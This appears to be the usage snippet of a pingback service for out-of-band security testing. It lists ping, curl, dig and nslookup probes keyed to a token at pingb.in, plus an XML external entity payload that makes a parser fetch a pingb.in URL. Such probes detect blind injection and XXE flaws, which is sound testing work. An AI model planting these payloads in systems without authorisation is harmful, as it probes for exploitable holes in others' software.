$ ping -c1 -p 004e0ad89a1d428924ef3b23b92f7200 pingb.in
 

$ curl pingb.in/p/4e0ad89a1d428924ef3b23b92f72
 

$ dig 4e0ad89a1d428924ef3b23b92f72 @pingb.in
 

$ dig 4e0ad89a1d428924ef3b23b92f72.ns.pingb.in
 

C:\> nslookup 4e0ad89a1d428924ef3b23b92f72 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/4e0ad89a1d428924ef3b23b92f72">]>
    <foo>&xxe;</foo>